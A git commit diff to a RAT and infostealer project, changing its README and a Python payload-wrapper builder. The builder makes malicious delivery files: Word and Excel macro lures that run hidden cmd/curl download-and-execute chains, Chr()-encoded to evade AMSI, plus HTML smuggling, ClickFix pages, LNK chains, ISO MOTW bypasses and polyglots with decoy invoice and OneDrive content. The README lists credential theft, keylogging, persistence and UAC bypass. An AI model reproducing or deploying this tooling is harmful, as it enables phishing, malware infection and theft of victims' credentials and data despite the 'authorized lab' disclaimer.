wrappers: docm/xlsm macros from office-authored compiled bases (pyopenvba rebuilds write source-only streams whose auto-events never hook - root-caused and verified live), inject runtime url+filename into word docvars / excel cfg-sheet cells instead of rewriting vba; drop pptm (auto_open never fires, thispresentation unauthorable via automation); bases ship in wrappers_bases/; readme updated

This commit is contained in:
JYenn
2026-08-16 20:33:34 +01:00
parent 666fa30e69
commit 510cc30fe6
4 changed files with 105 additions and 93 deletions
+19 -5
View File
@@ -16,7 +16,7 @@ HVNC RAT and stealer research project, derived from Misery. For local testing an
- **Credential harvesting**: Chrome, Edge, Brave, Opera, Opera GX, Firefox - **Credential harvesting**: Chrome, Edge, Brave, Opera, Opera GX, Firefox
- **App-session harvesting**: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extension paths, Signal session listing - **App-session harvesting**: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extension paths, Signal session listing
- **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN - **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
- **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, and `-p` delivery wrappers for `docm`, `xlsm`, `pptm`, `lnk`, `pdf`, `html`, `clickfix_html`, `iso`, `polyglot_exe_zip`, and `polyglot_html` - **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, and `-p` delivery wrappers for `docm`, `xlsm`, `lnk`, `pdf`, `html`, `clickfix_html`, `iso`, `polyglot_exe_zip`, and `polyglot_html`
- **Keylogger and clipboard monitoring** - **Keylogger and clipboard monitoring**
- **Persistence**: HKCU Run key and WMI event subscriptions - **Persistence**: HKCU Run key and WMI event subscriptions
- **Elevation** (`elevate`): silent UAC bypass to High via PEB masquerade and CMSTPLUA/ICMLuaUtil, then SYSTEM through SeDebug token theft from a non-PPL system process. Verified on Windows 11 25H2 (build 26200) - **Elevation** (`elevate`): silent UAC bypass to High via PEB masquerade and CMSTPLUA/ICMLuaUtil, then SYSTEM through SeDebug token theft from a non-PPL system process. Verified on Windows 11 25H2 (build 26200)
@@ -57,9 +57,8 @@ filetypes in `dist/` and records each one in `<out>.manifest.json` with its
sha256 and size. `python setup.py --list-formats` prints the current list with sha256 and size. `python setup.py --list-formats` prints the current list with
dependencies. dependencies.
- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run - `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run. The macro comes from a Word-authored compiled base (`wrappers_bases/docm_base.docm`); only the stage URL and agent filename are injected as document variables and read at open time, because rebuild-generated macro streams open without auto-event hooks (verified live 2026-08)
- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run - `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run. Same design: an Excel-authored compiled base (`wrappers_bases/xlsm_base.xlsm`) with the runtime values in a hidden `cfg` sheet
- `pptm` - PowerPoint macro deck; `Auto_Open` shells a hidden cmd/curl download-and-run
- `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline) - `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline)
- `pdf` - agent embedded as a PDF attachment, launched on open - `pdf` - agent embedded as a PDF attachment, launched on open
- `html` - OneDrive-style page; the agent hides in a zip blob behind a button click - `html` - OneDrive-style page; the agent hides in a zip blob behind a button click
@@ -78,6 +77,16 @@ iso, and polyglot_html carry the agent themselves. The macro files ship with
decoy content, and the lnk/pdf formats show a decoy document, so they read as decoy content, and the lnk/pdf formats show a decoy document, so they read as
normal business documents instead of empty templates. normal business documents instead of empty templates.
The docm and xlsm bases are compiled by Word/Excel themselves so the
`Document_Open` / `Workbook_Open` hooks actually fire: pyopenvba-style
rebuilds write source-only module streams that Office opens in a degraded
state where the auto-events never run (reproduced and root-caused live
2026-08). The wrapper copies the base, fills decoy content, and injects the
per-build values (Word docvars in `word/settings.xml`, Excel cfg-sheet cells
in `xl/sharedStrings.xml`); the pre-compiled VBA builds the download chain
from Chr()-encoded parts plus those values at open time, so no macro stream
is ever rewritten.
The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as
`STAGE_URL`, so host the generated `<out>.cmd` and `<out>.decoy.pdf` next to `STAGE_URL`, so host the generated `<out>.cmd` and `<out>.decoy.pdf` next to
the agent. the agent.
@@ -93,9 +102,13 @@ The wrappers use these optional libs; a missing lib just skips the formats
that need it: that need it:
```powershell ```powershell
pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx pip install pylnk3 pycdlib pikepdf python-docx openpyxl
``` ```
The docm/xlsm bases live in `wrappers_bases/` and ship with the repo; rebuild
them in Office if you ever change the macro logic (see the wrapper docstring
notes), then commit the new base.
## Commands ## Commands
| Command | What it does | | Command | What it does |
@@ -148,6 +161,7 @@ A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.miser
- `src/rat`: keylogger + clipboard - `src/rat`: keylogger + clipboard
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression - `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
- `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers - `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
- `build/`: out-of-source build dir - `build/`: out-of-source build dir
## Licence ## Licence
+86 -88
View File
@@ -21,18 +21,25 @@ Commando.A!ml, all reproduced locally):
(LNK-launched cmdlines that download are flagged by (LNK-launched cmdlines that download are flagged by
Defender's FastPath ML, so the chain lives in the .cmd) Defender's FastPath ML, so the chain lives in the .cmd)
pdf PDF with the agent embedded as an attachment (OpenAction launch) pdf PDF with the agent embedded as an attachment (OpenAction launch)
pptm PowerPoint macro deck: Auto_Open -> hidden cmd/curl
iso ISO/IMG container carrying the agent (MOTW bypass) iso ISO/IMG container carrying the agent (MOTW bypass)
polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive
polyglot_html EXE+HTML polyglot: runs as an exe, shows a decoy in a browser polyglot_html EXE+HTML polyglot: runs as an exe, shows a decoy in a browser
Remote-cradle formats need STAGE_URL (where the operator hosts the agent exe); Remote-cradle formats need STAGE_URL (where the operator hosts the agent exe);
self-contained formats embed the agent directly. The macro files carry decoy self-contained formats embed the agent directly. The macro files carry decoy
content (python-docx / openpyxl / python-pptx when installed) so they look like content (python-docx / openpyxl when installed) so they look like real
real documents, and the decoys are worded like M365/OneDrive share messages. documents, and the decoys are worded like M365/OneDrive share messages.
Optional third-party libs are used where they exist: pyopenvba (macro files), The docm/xlsm macros are never generated: they come from Office-authored
pylnk3 (shortcuts), pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only compiled bases (wrappers_bases/), which Office loads with working auto-event
the formats that need it. hooks -- pyopenvba-style rebuilds write source-only module streams that Word
and Excel open in a degraded state where Document_Open/Workbook_Open never
fire (verified live 2026-08). Only the per-build values (stage URL, agent
filename) are injected into the base's data storage (Word docvars in
word/settings.xml, Excel cfg-sheet cells in xl/sharedStrings.xml) and read
by the pre-compiled VBA at open time.
Optional third-party libs are used where they exist: pylnk3 (shortcuts),
pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only the formats that
need it.
Run only from an authorized lab. Run only from an authorized lab.
""" """
@@ -41,31 +48,29 @@ import base64
import hashlib import hashlib
import io import io
import os import os
import shutil
import zipfile import zipfile
from pathlib import Path from pathlib import Path
from urllib.parse import urlparse from urllib.parse import urlparse
FORMATS = [ FORMATS = [
("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True), ("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", [], True),
("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True), ("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", [], True),
("html", "HTML smuggling page (agent embedded as zip blob)", [], False), ("html", "HTML smuggling page (agent embedded as zip blob)", [], False),
("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True), ("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True),
("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True), ("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True),
("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False), ("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False),
("pptm", "PowerPoint macro deck (Auto_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False), ("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False),
("polyglot_exe_zip", "EXE+ZIP polyglot: runs as exe, opens as archive", ["pylnk3", "pikepdf"], True), ("polyglot_exe_zip", "EXE+ZIP polyglot: runs as exe, opens as archive", ["pylnk3", "pikepdf"], True),
("polyglot_html", "EXE+HTML polyglot: runs as exe, shows decoy page", [], False), ("polyglot_html", "EXE+HTML polyglot: runs as exe, shows decoy page", [], False),
] ]
_LIBS = { _LIBS = {
"pyopenvba": "pyopenvba",
"pylnk3": "pylnk3", "pylnk3": "pylnk3",
"pycdlib": "pycdlib", "pycdlib": "pycdlib",
"pikepdf": "pikepdf", "pikepdf": "pikepdf",
"docx": "python-docx", "docx": "python-docx",
"openpyxl": "openpyxl", "openpyxl": "openpyxl",
"pptx": "python-pptx",
} }
STAGE_REQUIRED = [f for f, _, _, needs in FORMATS if needs] STAGE_REQUIRED = [f for f, _, _, needs in FORMATS if needs]
@@ -148,20 +153,6 @@ def _xor_hex(data: bytes, key: int) -> str:
return bytes(b ^ key for b in data).hex() return bytes(b ^ key for b in data).hex()
def _vba_cradle(p, fname: str) -> str:
"""VBA that Shells the cmd/curl chain hidden. No PowerShell: -enc cradles
are flagged by AV (ClickFix.ZB / PShellDlr / Commando.A!ml). The whole
command is Chr()-encoded so no literal trigger string (cmd, curl, http)
survives in the macro for Office AMSI / content-trigger scans."""
cmd = download_cradle(p, fname)
if not cmd:
return None
enc = " & ".join("Chr(%d)" % ord(ch) for ch in cmd)
return ("Dim c As String\r\n"
" c = %s\r\n"
" Shell c, vbHide" % enc)
def _zip_of(entries, member=None) -> bytes: def _zip_of(entries, member=None) -> bytes:
"""Zip one or more (name, data) entries. Accepts the old (data, member) """Zip one or more (name, data) entries. Accepts the old (data, member)
call shape for compatibility.""" call shape for compatibility."""
@@ -209,8 +200,6 @@ def _pick_decoy() -> str:
_CT = { _CT = {
"docm": (b"application/vnd.ms-word.document.macroEnabled.main+xml", "docm": (b"application/vnd.ms-word.document.macroEnabled.main+xml",
b"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"), b"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"),
"pptm": (b"application/vnd.ms-powerpoint.presentation.macroEnabled.main+xml",
b"application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"),
} }
@@ -263,7 +252,7 @@ def _excel_decoy(path: str) -> None:
from openpyxl.styles import Font from openpyxl.styles import Font
wb = load_workbook(path, keep_vba=True) wb = load_workbook(path, keep_vba=True)
ws = wb.active ws = next((s for s in wb.worksheets if s.title.lower() != "cfg"), wb.active)
ws.title = "Invoice" ws.title = "Invoice"
rows = (("Item", "Description", "Amount"), rows = (("Item", "Description", "Amount"),
("INV-2041", "Consulting services", 12490), ("INV-2041", "Consulting services", 12490),
@@ -283,23 +272,6 @@ def _excel_decoy(path: str) -> None:
wb.save(path) wb.save(path)
def _powerpoint_decoy(path: str) -> None:
from pptx import Presentation
tmp = path + ".tmp.pptx"
_swap_ct(path, tmp, *_CT["pptm"])
prs = Presentation(tmp)
decoy = _pick_decoy()
title, _, body = decoy.partition(" - ")
slide = prs.slides[0]
slide.shapes.title.text = title
for ph in slide.placeholders:
if ph.placeholder_format.idx == 1:
ph.text = body
prs.save(tmp)
_swap_ct(tmp, path, *_CT["pptm"][::-1])
Path(tmp).unlink()
def _office_decoy(path: str, kind: str) -> None: def _office_decoy(path: str, kind: str) -> None:
"""Fill a macro-enabled file with decoy content. Uses the matching editor """Fill a macro-enabled file with decoy content. Uses the matching editor
lib when installed; docm falls back to the plain body injection.""" lib when installed; docm falls back to the plain body injection."""
@@ -310,30 +282,82 @@ def _office_decoy(path: str, kind: str) -> None:
_inject_docm_decoy(path) _inject_docm_decoy(path)
elif kind == "xlsm" and _import("openpyxl") is not None: elif kind == "xlsm" and _import("openpyxl") is not None:
_excel_decoy(path) _excel_decoy(path)
elif kind == "pptm" and _import("pptx") is not None:
_powerpoint_decoy(path)
def _macro_document(p, module_name, trigger, docm: bool, out_name: str): _BASE_DIR = Path(__file__).resolve().parent / "wrappers_bases"
"""Build a macro-enabled Office file whose code-behind runs the cradle.""" _BASE_FILES = {
from pyopenvba import WordFile, ExcelFile "docm": "docm_base.docm",
"xlsm": "xlsm_base.xlsm",
}
src = _vba_cradle(p, out_name + ".exe")
if not src: def _inject_macro_vars(path: str, kind: str, p, out_name: str) -> bool:
"""Patch the per-build runtime values into the base's data storage:
Word docvars in word/settings.xml, Excel cfg-sheet cells (inline strings
in the sheet XML). The pre-compiled VBA reads them at open time, so
the compiled macro never needs rebuilding. Returns False if the base
did not contain what the macro expects, so a broken artifact is never
shipped."""
url = p.get("stage_url")
if not url or any(ch in url for ch in '"<>'):
return False
fn = out_name + ".exe"
with zipfile.ZipFile(path, "r") as z:
entries = {n: z.read(n) for n in z.namelist()}
if kind == "docm":
settings = entries.get("word/settings.xml")
if settings is None or b"</w:settings>" not in settings:
return False
docvars = ('<w:docVars><w:docVar w:name="u" w:val="%s"/>'
'<w:docVar w:name="fn" w:val="%s"/></w:docVars>'
% (url.replace("&", "&amp;"), fn)).encode("utf-8")
entries["word/settings.xml"] = settings.replace(
b"</w:settings>", docvars + b"</w:settings>", 1)
else: # xlsm: cfg-sheet cells are inline strings in the sheet XML (and
# sharedStrings if the base editor ever switches) -- patch any part
# that still carries the placeholders
seen = False
for n in list(entries):
if b"PLACEHOLDERURL.invalid" not in entries[n]:
continue
seen = True
entries[n] = (entries[n]
.replace(b"http://PLACEHOLDERURL.invalid/x",
url.encode("utf-8"))
.replace(b"placeholder.exe", fn.encode("utf-8")))
if not seen or any(b"PLACEHOLDERURL.invalid" in b for b in entries.values()):
return False
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
for n, b in entries.items():
z.writestr(n, b)
return True
def _macro_document(p, kind: str, out_name: str):
"""Copy the Office-authored compiled base into dist, fill it with decoy
content, then inject the stage values. The bases carry the trigger
compiled by Word/Excel themselves: pyopenvba-style rebuilds write
source-only module streams that Office opens without auto-event hooks
(verified live 2026-08), so no macro is generated from scratch."""
base = _BASE_DIR / _BASE_FILES[kind]
if not base.exists():
return None
path = str(p["dist"] / (out_name + "." + kind))
shutil.copyfile(str(base), path)
_office_decoy(path, kind)
if not _inject_macro_vars(path, kind, p, out_name):
return None return None
vba = ("Private Sub %s()\r\n"
" %s\r\n"
"End Sub\r\n") % (trigger, src)
cls = WordFile if docm else ExcelFile
target = out_name + (".docm" if docm else ".xlsm")
path = str(p["dist"] / target)
with cls.create_new(path) as host_file:
host_file.set_module(module_name, vba)
host_file.save(path)
_office_decoy(path, "docm" if docm else "xlsm")
return path return path
def build_docm(p, agent: bytes, out_name: str):
return _macro_document(p, "docm", out_name)
def build_xlsm(p, agent: bytes, out_name: str):
return _macro_document(p, "xlsm", out_name)
def _inject_docm_decoy(path: str) -> None: def _inject_docm_decoy(path: str) -> None:
"""Append a plausible paragraph to the Word body without touching the """Append a plausible paragraph to the Word body without touching the
macro streams; best-effort, skipped silently if the part is unusual.""" macro streams; best-effort, skipped silently if the part is unusual."""
@@ -354,14 +378,6 @@ def _inject_docm_decoy(path: str) -> None:
pass pass
def build_docm(p, agent: bytes, out_name: str):
return _macro_document(p, "ThisDocument", "Document_Open", True, out_name)
def build_xlsm(p, agent: bytes, out_name: str):
return _macro_document(p, "ThisWorkbook", "Workbook_Open", False, out_name)
# ---------------------------------------------------------------- html smuggling # ---------------------------------------------------------------- html smuggling
def build_html(p, agent: bytes, out_name: str) -> str: def build_html(p, agent: bytes, out_name: str) -> str:
@@ -533,23 +549,6 @@ def build_clickfix_html(p, agent: bytes, out_name: str) -> str:
return path return path
def build_pptm(p, agent: bytes, out_name: str) -> str:
from pyopenvba import PowerPointFile
src = _vba_cradle(p, out_name + ".exe")
if not src:
return None
vba = ("Sub Auto_Open()\r\n"
" %s\r\n"
"End Sub\r\n") % src
path = str(p["dist"] / (out_name + ".pptm"))
with PowerPointFile.create_new(path) as host:
host.set_module("Module1", vba)
host.save(path)
_office_decoy(path, "pptm")
return path
# ---------------------------------------------------------------- pdf # ---------------------------------------------------------------- pdf
def _pdf_decoy(pdf, title: str) -> None: def _pdf_decoy(pdf, title: str) -> None:
@@ -738,7 +737,6 @@ _BUILDERS = {
"clickfix_html": build_clickfix_html, "clickfix_html": build_clickfix_html,
"lnk": build_lnk, "lnk": build_lnk,
"pdf": build_pdf, "pdf": build_pdf,
"pptm": build_pptm,
"iso": build_iso, "iso": build_iso,
"polyglot_exe_zip": build_polyglot_exe_zip, "polyglot_exe_zip": build_polyglot_exe_zip,
"polyglot_html": build_polyglot_html, "polyglot_html": build_polyglot_html,
Binary file not shown.
Binary file not shown.